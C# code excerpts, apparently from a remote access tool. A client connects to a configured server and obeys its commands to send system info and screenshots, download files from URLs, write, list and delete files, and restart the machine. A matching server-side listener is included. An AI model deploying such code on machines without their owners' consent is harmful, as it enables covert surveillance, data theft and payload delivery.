private void Run() { client = new PaceClient(); client.PacketReceived += Client_PacketReceived; client.PacketSent += Client_PacketSent; var packetChannel = new PacketChannel(); packetChannel.RegisterHandler <GetSystemInfoRequestPacket>(SystemHandlers.HandleGetSystemInfo); packetChannel.RegisterHandler <GetDrivesRequestPacket>(SystemHandlers.HandleGetDrives); packetChannel.RegisterHandler <TakeScreenshotRequestPacket>(SystemHandlers.HandleTakeScreenshot); packetChannel.RegisterHandler <RestartRequestPacket>(SystemHandlers.HandleRestart); packetChannel.RegisterHandler <DownloadFileRequestPacket>(FileHandlers.HandleDownloadFile); packetChannel.RegisterHandler <GetDirectoryRequestPacket>(FileHandlers.HandleGetDirectory); packetChannel.RegisterHandler <DeleteFileRequestPacket>(FileHandlers.HandleDeleteFile); packetChannel.RegisterHandler <SendFileRequestPacket>(FileHandlers.HandleSendFile); TryConnect(); while (isConnected) { try { var packet = client.ReadPacket(); packetChannel.HandlePacket(client, packet); } catch (IOException ex) { if (ex.InnerException == null) { throw ex; } if (ex.InnerException.GetType() == typeof(SocketException)) { var socketException = (ex.InnerException as SocketException); if (socketException.ErrorCode == (int)SocketError.ConnectionReset) { PrintDebug("Disconnected!"); TryConnect(); } } } } Console.ReadKey(); }
private void HandleClientConnection() { while (Listening) { var client = new PaceClient(listener.AcceptTcpClient()); OnClientConnected(client); Task.Factory.StartNew(() => { bool isConnected = true; while (isConnected) { try { var packet = client.ReadPacket(); OnPacketReceived(client, packet); } catch (IOException ex) { if (ex.InnerException == null) { throw ex; } if (ex.InnerException.GetType() == typeof(SocketException)) { var socketException = (ex.InnerException as SocketException); if (socketException.ErrorCode == (int)SocketError.ConnectionReset) { OnClientDisconnected(client); isConnected = false; } } } } }); } listener.Stop(); }
private void Run() { client = new PaceClient(); client.PacketReceived += Client_PacketReceived; client.PacketSent += Client_PacketSent; PrintDebug("Waiting for Server..."); while (!client.TcpClient.Connected) { try { client.Connect(IPAddress.Parse(ClientConfiguration.Host), ClientConfiguration.Port); } catch (Exception) { continue; } } PrintDebug("Connected!"); var packetChannel = new PacketChannel(); packetChannel.RegisterHandler <GetSystemInfoRequestPacket>((packet) => { var systemInfo = SystemInformation.Get(); var clientAddress = client.TcpClient.Client.LocalEndPoint.ToString().Split(':'); var infoPacket = new GetSystemInfoResponsePacket( ClientConfiguration.Identifier, clientAddress[0], int.Parse(clientAddress[1]), systemInfo.UserName, systemInfo.ComputerName, systemInfo.OperatingSystem ); client.SendPacket(infoPacket); }); packetChannel.RegisterHandler <DownloadFileRequestPacket>((packet) => { var downloadFilePacket = (DownloadFileRequestPacket)packet; new WebFileDownloader().DownloadFile(downloadFilePacket.Url); }); packetChannel.RegisterHandler <TakeScreenshotRequestPacket>((packet) => { var screenshot = ScreenCapture.CaptureScreen(); byte[] screenshotBytes = ScreenCapture.ImageToBytes(screenshot); var screenshotResponsePacket = new TakeScreenshotResponsePacket(screenshotBytes); client.SendPacket(screenshotResponsePacket); }); packetChannel.RegisterHandler <SendFileRequestPacket>((packet) => { var sendFilePacket = (SendFileRequestPacket)packet; File.WriteAllBytes(Path.Combine(Environment.CurrentDirectory, sendFilePacket.Filename), sendFilePacket.FileData); }); packetChannel.RegisterHandler <GetDirectoryRequestPacket>((packet) => { var getDirectoryPacket = (GetDirectoryRequestPacket)packet; var directory = new DirectoryInfo(getDirectoryPacket.Path); if (!directory.Exists) { return; } var response = new GetDirectoryResponsePacket { Folders = FileExplorer.GetDirectories(getDirectoryPacket.Path), Files = FileExplorer.GetFiles(getDirectoryPacket.Path) }; client.SendPacket(response); }); packetChannel.RegisterHandler <DeleteFileRequestPacket>((packet) => { var deleteFilePacket = (DeleteFileRequestPacket)packet; PrintDebug($"Requested deletion of file {deleteFilePacket.File}"); if (Directory.Exists(deleteFilePacket.File)) { Directory.Delete(deleteFilePacket.File); } else if (File.Exists(deleteFilePacket.File)) { File.Delete(deleteFilePacket.File); } client.SendPacket(new GetDirectoryResponsePacket { Folders = FileExplorer.GetDirectories(Directory.GetParent(deleteFilePacket.File).FullName), Files = FileExplorer.GetFiles(Directory.GetParent(deleteFilePacket.File).FullName) }); }); isRunning = true; while (isRunning) { try { var packet = client.ReadPacket(); packetChannel.HandlePacket(packet); } catch (IOException ex) { if (ex.InnerException == null) { throw ex; } if (ex.InnerException.GetType() == typeof(SocketException)) { var socketException = (ex.InnerException as SocketException); if (socketException.ErrorCode == (int)SocketError.ConnectionReset) { PrintDebug("Disconnected!"); } } isRunning = false; } } Console.ReadKey(); }